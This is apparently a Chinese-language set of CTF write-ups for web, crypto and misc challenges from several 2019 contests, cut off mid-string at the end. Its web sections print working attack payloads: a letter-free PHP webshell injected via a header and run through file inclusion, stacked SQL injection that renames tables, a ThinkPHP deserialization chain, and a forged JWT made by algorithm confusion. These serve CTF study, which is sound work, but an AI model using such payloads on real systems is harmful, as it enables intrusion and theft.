本题来自于中南大学院赛的一道Web题,题目名字为badip
题目如下:
看起来像是道sql注入题,但是尝试了一下?id=1'
像是过滤了单引号,再尝试1%23,1 order by 100%23都得到id=1的结果,看起来又不像是注入题,题目名为badip,没有找到考点,只能尝试扫一扫后台
发现了文件robots.txt
访问后发现存在两个文件:include.php和phpinfo.php
访问include.php
存在lfi,那么就用伪协议读一下index.php吧
解码一下得源码:
在源码末尾处发现采用sql预编译,那么就不用考虑注入了,忽略这段代码,让我们把目光放在前半部分得代码:
我们可以发现,当参数id包含#|\"|'|sleep|benchmark|outfile|dumpfile|load_file|join时,后台将会把我们得客户ip记录在txt文件中,并且源码中也告诉了我们参数ip取值自$_SERVER['HTTP_CLIENT_IP'],是可以通过头部字段:client-ip进行控制,也有将记录的txt文件路径返回给我们
这时又想到前面的lfi,思路便很清晰了,我们可以通过在client-ip注入webshell,再利用lfi包含写入webshell的txt文件即可
那么唯一需要注意的地方就是对ip参数的过滤:
1 | if(preg_match('/[a-z0-9]/is',$ip)) { |
不能包含数字和字母,这就想到了之前看到的p神的一篇文章:一些不包含数字和字母的webshell
编写不含数字和字母的webshell,思路总结一句话便是:利用合法字符(即非数字,字母的字符)通过各种变换,拼接出字符串assert,再利用php支持动态函数执行的特性,将字符串assert当成函数以动态执行
如果在php7中,assert是一个语言结构而不是函数,不能再作为函数名而动态执行,但是在本题中,给出了phpinfo.php文件
说明了版本为5.6,所以我们就可以毫无顾虑的构造assert了
这里我采用了p神指出的第三种方法来构造assert,这就需要利用php的一个特性:
1 | 在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。 |
这个特性简单地说就是:'a'++ == 'b','b'++ == 'c',我们只需要拿到一个变量,其值为a或者A,再利用自增操作来分别得到assert或者ASSERT的各个字符,因为php函数大小写不敏感
那么如何拿到字符a或者A呢,我们知道数组Array的第一个字符便是A,而php中数组与字符连接时,数组将自动转化为字符串Array
那么构造ASSERT代码如下:
1 | $_ = []; |
同样原理构造POST:
1 | $__ = $_; //$__ == 'A' |
最后构造ASSERT($_POST[_]):
1 | $_ = $$____; |
另外我们还要考虑到标签<?php ?>的问题,如果在php配置中开启配置short_open_tag = On,则可以直接短标签<? ?>,我们在phpinfo中确认一下
配置short_open_tag开启,所以最后我们构造头部参数
1 | client-ip=<? $_ = [];$_ = @"$_";$_ = $_['!' == '@'];$__ = $_;$___ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___ .= $__;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ = '_';$____.=$__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ .= $__;$__ = $_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____ .= $__;$_____=$$____;$___($_____[_]); ?> |
再利用文件包含执行命令即可获得flag
本题docker环境:https://github.com/CTFTraining/qwb_2019_supersqli
题目如下:
测试发现利用正则匹配过滤了关键字:select,update,drop,delete,insert,where等
这么狠的过滤还是第一次见到,如果正常而言真的是没有办法注入了,但是这题源码是能够支持堆叠查询的
我们可以看一下php手册中对函数mysqli_multi_query的说明:
1 | mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。 |
在sql-labs 38关中也有对堆叠注入进行了特别的说明
下面我们就先利用堆叠注入看看表名,payload:http://127.0.0.1:8302/?inject=0%27;show%20tables;
表名有words和1919810931114514
我们再分别看看两个表分别的结构:
1 | http://127.0.0.1:8302/?inject=0%27;show%20columns%20from%20`words`; |
这里需要特别注意表1919810931114514时一定要通过符号进行包裹,不然会报错
所以我们可以得出该数据库下的表结构:
由于flag在1919810931114514表中,那么源码查询的sql语句就为:
1 | select * from `words` where id='$id'; |
由于过滤了select关键字,我们可以使用预编译的方法来进行sql查询,另外alter和rename未被过滤,所以我们也可以通过修改表名和表的结构的方法来查询flag,所以这题有两种解题方法
预编译的语法如下:
1 | set @sql=concat('selec','t flag from `1919810931114514`'); |
构造payload:
1 | http://127.0.0.1:8302/?inject=0%27;set%20@sql=concat(%27selec%27,%27t%20flag%20from%20`1919810931114514`%27);prepare%20presql%20from%20@sql;execute%20presql;deallocate%20prepare%20presql; |
结果显示:strstr($inject, "set") && strstr($inject, "prepare");
由于函数strstr是区分大小写的,所以我们用大小写混合绕过即可
最后的payload:
1 | http://127.0.0.1:8302/?inject=0%27;Set%20@sql=concat(%27selec%27,%27t%20flag%20from%20`1919810931114514`%27);Prepare%20presql%20from%20@sql;execute%20presql;deallocate%20Prepare%20presql; |
修改表名语法如下:
1 | RENAME TABLE tablename1 TO tablename2; |
修改表中的列语法如下:
1 | ALTER TABLE tablename CHANGE column1 column2 varchar(100); |
那么解题思路如下:
根据源程序的sql语句:select * from words where id='$id';
就可以直接查询出flag了
payload如下:
1 | http://127.0.0.1:8302/?inject=0%27;RENAME%20TABLE%20`words`%20TO%20`word`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20varchar(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20`words`; |
此时我们已经成功的将列flag修改成了id
最后用1' or '1查询出flag
本题docker环境:https://github.com/CTFTraining/qwb_2019_smarthacker

下载备份源码www.tar.gz
可以发现是一堆带有疑似一句话木马的参数
但是很多参数都是不能用的,例如上图列举的某个参数已经事先赋值了,所以我们需要在众多文件中寻找出可以利用的一句话木马参数
搜索可得知文件中使用的命令函数大概有3种:eval,assert,system
编写脚本进行搜索:
1 | import os |
运行脚本后发现后门存在于xk0SzyKwfzw.php,木马参数为Efa5BVG
最后直接连上查找flag即可
本题docker环境:https://github.com/CTFTraining/qwb_2019_upload
题目如下:
随意注册一个用户,登陆可以发现有上传文件功能
随便上传一个木马测试一下,发现后台对图片内容做了检测,在文件头加入GIF89A后可以上传马
上传后再次登陆用户后,可以发现页面回显出了我们上传文件的路径
访问该路径
发现我们上传的php文件是被为了png文件,因为没有找到存在文件包含的点,所以无奈只能扫描后台,看看有没有什么遗漏的提示文件
果然,发现了备份文件www.tar.gz,既然有源码那么就是考察代码审计了
下载下来后,发现是一个thinkphp框架,那么就先查看一下框架下的路由信息(tp5/route/route.php)
接下来,再找应用部分(tp5/application/web/controller/Index.php)
值得关注的点是函数login_check中的变量profile取自cookie中的user属性,之后对profile进行了反序列化,那么这里就可能存在通过cookie注入进行的反序化的点
我们继续审计controller下的其他文件,看看什么可以加以利用的地方
在Profile.php文件的方法upload_img中,有一个通过copy函数进行上传文件移动的操作,跟踪其中的参数$this->filename_tmp和$this->filename和操作执行的条件参数$this->ext
发现都是Profile类的公有属性,都是可以通过反序列化进行控制赋值的,所以暂时的思路就是利用反序列化将我们上传的png图片马修改为php文件木马
那么,如何让Profile类执行upload_img方法呢,让我们继续审计
在Profile类的末尾处,还发现了两个魔术方法:__get和__call,这两个魔术方法分别代表了在调用类的不可访问成员属性和不可访问方法时的处理方法。__get会从$this->except中查找不可访问的属性值,该变量也是可控的;__call会调用该类的成员变量所指代变量的所指代的方法
所以,审计到目前,思路更新如下:
通过cookie注入user属性进行反序列化
触发Profile类的__call魔术方法,使其执行该类的upload_img方法将png图片马修改为php文件马
那么问题又来了,我们知道要触发__call魔术方法,就必须要让Profile类调用一个该类中不存在的方法,所以我们只能继续审计,继续寻找利用点
在Register.php的末尾了,我们又发现了一个魔术方法__destruct,该方法在类被销毁时自动触发。我们可以发现该方法一经触发,并且参数$this->registed为0时,就可以调用成员$this->checker的index方法
跟踪这两个参数$this->registed和$this->checker
太完美了,又是可以通过反序列化进行控制的变量
那么,最终得到思路如下:
__destruct后Profile类中的index方法这样就形成了一条完整的攻击链
接下来就是编写EXP,代码如下:
1 |
|
这里注意需要设置命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)
我们将前面上传的图片马路径记下,运行EXP后得到base64加密后的序列化字符串:
1 | TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo0OntzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkLzNiMTQxMjc1M2Y0NzVjYzk2OWMzNzIzMWRkNmVhZWEyLzkzYmMzYzAzNTAzZDg3NjhjZjdjYzFlMzljZTE2ZmNiLnBuZyI7czo4OiJmaWxlbmFtZSI7czo1MToiLi91cGxvYWQvM2IxNDEyNzUzZjQ3NWNjOTY5YzM3MjMxZGQ2ZWFlYTIvc2hlbGwucGhwIjtzOjM6ImV4dCI7YjoxO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D |
然后重新登陆时置cookie的user属性值
然后我们此时就可以发现,此时能成功访问到shell了
再重新上传个shell拿flag就行了
最后附上代码思路整理图:
首先要求输入的value的ascii码不在可见范围之内,但是最后要求value经过chr拼接后的username为’w3lc0me_To_ISCC2019’
php的chr函数会自动进行mod256,所以使用脚本:
1 | s = "w3lc0me_To_ISCC2019" |
1 | payload:value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313 |
再来就是要绕过intval($password) < 2333 && intval($password + 1) > 2333
intval函数处理字符串时,会从头开始检测到除数字以外的字母为止
我们注意到intval($password + 1) > 2333
是先将$password + 1后再经过intval函数的处理,如果$password传入的是十六进制数,例如0x10,那么intval(‘0x10’)结果为0,intval(‘0x10’ + 1)结果为17,这个特性在7.0以上版本不适用
所以只需要把2333转换成16进制即可
payload:password=0x91d
所以最后的payload:
1 | /?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x91d |
flag:flag{8311873e241ccad54463eaa5d4efc1e9}
爆破三位数字密码,有图片验证码,需要借助python的pytesseract和Image库来识别图片验证码
脚本如下:
1 | import requests |
但是这题听说可以删掉cookie后直接绕过验证码,密码是996
flag:flag{996_ICU}
sql-labs 24关原题,考察二次注入
注入点在login_create.php中的username字段,注册用户名为admin’#
之后登录admin’#,username字段就赋值给了session中的username字段
在password_change.php中的$username是直接从session中取出的,也就是取出的username为admin’#
拼接到sql语句中:
1 | UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' |
用户的密码就被修改为123
但是坑的地方在于这题没有设置容器,所有人共用一个数据库,可能很多人同时一起修改了admin用户的密码,所以有时候修改admin的密码后登陆不成功,并且这个数据库会定时修改所有用户的密码
所以能稳定登陆admin的方法是持续发送修改密码的包,如果admin’#用户被注册,注册admin’########也是可以的
最终登陆成功页面:
考察parse_str变量覆盖
flag{7he_rea1_f1@g_15_4ere}
抓包发现是python写的网站,一开始有点慌,不过这题不是查考察python
我们登陆一个用户时抓包可以发现头部存在认证字段
1 | Authorization: iscc19 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaGh4NjY2IiwicHJpdiI6Im90aGVyIn0.vwB2Jj8TyGQhO6i0EEw6vCIrplCxrh23ZHQ15aWeeoQkYsd5tDSu3cixf-faEfQbLkB-_-6EF4DVxGbR5zGp4MyQn90KeRooOF65xQViZ8qRUVvylU5pJBDCcs-XEE-GdD6qfARNFpdg8toggC0ld5l5OJbeAA9au00xiaCxhzs |
很明显是这个网站采用了JWT身份验证,类似于Session机制,JWT的token结构是Json格式,同时将认证信息以经过加密算法处理后存储在头部的Authorization字段
根据题目页面的提示:只有admin身份才能查看flag,那么这题多半就是考察伪造admin身份的认证字段登陆
我们可以将我们注册用户的认证字段拉近JWT的生成网站进行解密
解密后得到的字段正是JWT的token三个组成部分:
1 | { |
其中alg为算法的缩写,说明这串认证字符是经过RS256加密的。typ为类型的缩写
1 | { |
这些是用户的信息
1 | HMACSHA256( |
这部分就是加密算法所使用的密钥
常见的加密算法有RS256和HS256,RS256是非对称加密,需要公钥和私钥才能对数据进行篡改,一般私钥我们是拿不到的,就像这题的认证字段正是经过RS256加密,而HS256则是对称加密,只需要公钥就可以进行伪造
在http://39.100.83.188:8053/static/js/common.js 源码处我们可以看到public key存放目录:
1 | function getpubkey(){ |
/pubkey正是存放公钥的目录,它提示了我们公钥可以通过我们注册的用户名和密码的md5加密进行查看,我们访问http://39.100.83.188:8053/pubkey/7035124f823530ce2af7fb19bb625304 可以看到此RS256加密算法采用的公钥:
1 | {"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true} |
因为私钥无法获取到,所以这时我们就需要将算法修改为HS256,如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。
生成认证字段的脚本如下:
1 | import jwt |
说明一下1.txt中存放的公钥为:
1 | -----BEGIN PUBLIC KEY----- |
需要将网页上获得的公钥中\n替换成换行,并且这里priv之前是为other,需要修改为admin身份,用户名name猜测为之前认证字段的iscc19
需要额外在python2环境下安装jwt模块:pip install PyJWT
一开始运行可能会出现下面的报错:
跟踪源库algorithms.py的源码,会发现prepare_key函数会检验非法字符,将检验过程去掉,再次运行
得到字符串:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaXNjYzE5IiwicHJpdiI6ImFkbWluIn0.bEza2gXi7_q9qPFTSgbu8wWRpmHqHd1FFa-rJKY_38c
然后将这串字符添加到头部的Authorization字段,附加上iscc19,访问/list,即可获得admin用户的list
最后访问http://39.100.83.188:8053/text/admin:22f1e0aa7a31422ad63480aa27711277
即可获得flag
这题也是猜用户名iscc19稍微要有点脑洞的,emmm做的时候运气好直接拿这个用户名来试
参考文章:Json Web Token历险记
这题也是道脑洞题,一开始页面只给了信息:看来你并不是Union.373组织成员,请勿入内!
扫描后台也没有结果,无奈只能尝试各种HTTP头部修改的方法,最后发现是在User-Agent头部字段最后添加上:Union.373
开始提示我们输入用户名和密码,通过POST方式传入参数username和password后,提示我们用户密码即为flag
在password字段加入单引号出现sql报错信息,很明显下面考察的是注出用户的密码
经过fuzz测试,过滤了#,(,),extractvalue,sleep,and,password等关键参数,其中最致命的还是过滤了(),导致很多函数都无法使用
使用万能密码1' or '1登陆,发现了回显了用户名信息:union_373_Tom
既然有回显,就尝试一下联合查询:
1 | username=union_373_Tom&password=1' union select 1,2,3 or ' |
回显了2
但是这里因为过滤了括号,导致我们无法使用子查询
查阅了一波过滤了括号的注入方式:https://blog.csdn.net/nzjdsds/article/details/81879181
这篇文章里提到的使用union order by的方式进行排序盲注,思路简单而言就是通过union使查询结果为union_373_Tom和我们拼接上的一行查询结果通过order by对密码password字段进行排序,并根据回显的用户名信息来判断排序的结果
下面用本地测试的过程来进行思路的说明:
这是users表中的初始数据,下面我们通过union插入我们构造的查询结果
可以看到对第三列进行了排序,并且可以根据我们插入的不同密码字段排序结果也不同,在页面上回显的用户名信息也不同:
union_373_Tom另外因为题目password字段最后还需要闭合单引号,所以采用的是order by 3,'1,mysql会先根据逗号前面的进行排序,如果数据相等,则使用逗号后的进行排序
所以最后使用的盲注payload为:
1 | username=union_373_Tom&password=1' or '1' union select 1,'hhx','1' from admin order by 3,'1 |
我们知道order by是对字符串一位位的比较,所以思路就是对union_373_Tom的密码字段进行逐位的排序比较,根据回显的用户名,如果插入的密码字段大于用户名密码字段,则需要
最后需要弄清楚order by排序的原理,测试了好久,排序其实是根据字符ascii码的大小,另外mysql中大小写的字符的排序是相同的,测试后的字典序列为_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210
脚本代码如下:
1 | import requests |
最后的密码为1SCC_2OI9
flag:flag{1SCC_2OI9}
8进制转16进制,16进制转字符串,最后base64解密得flag
1 |
|
Flag: ISCC{N0_0ne_can_st0p_y0u}
用Stegsolve工具打开
根据倒立屋题目提示,flag就是IsCc_2019倒过来
键盘密码,网上有现成脚本
1 | STR = "RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY,WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT,QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY(TRFVBTYUIOJMTRFVG),QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM,QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR.QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRDXCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE,QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY(WSX.WSXCDE.,QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV).QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE-WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED,QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV,QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED,QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR." |
flag:FLAG{ISCC KEYBOARD CIPHER}
帧分析,8张图片拼成一张图片
图片末尾最后一串:
U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==
BASE64解密后得到Salted__P开头的字符,推测是AES加密
但是网站直接解密失败,猜测有加密的密钥,尝试密钥为拼成图片里的ISCC
解密得U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ==
再次以密钥为ISCC进行一次AES解密,就能得到flag了
flag:flag{DugUpADiamondADeepDarkMine}
扫描二维码得到
UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=
进行base64和url解码得到:PASS{0K_I_L0V3_Y0u!}
分析二维码图片,发现其中还藏有其他文件
用binwalk和dd分离出压缩包,dd if=Reply.png of=1.zip skip=8121 bs=1
其中有文件You won’t Wanna see this.txt,解压密码就是0K_I_L0V3_Y0u!
flag:ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}
分离文件得到Welcome.txt,是一串密文,以为是什么加密方式,其实规律在于空格,每个句子一个空格代表0,两个空格代表1,最后得到一串二进制转ascii即可得到flag
1 | s = '蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 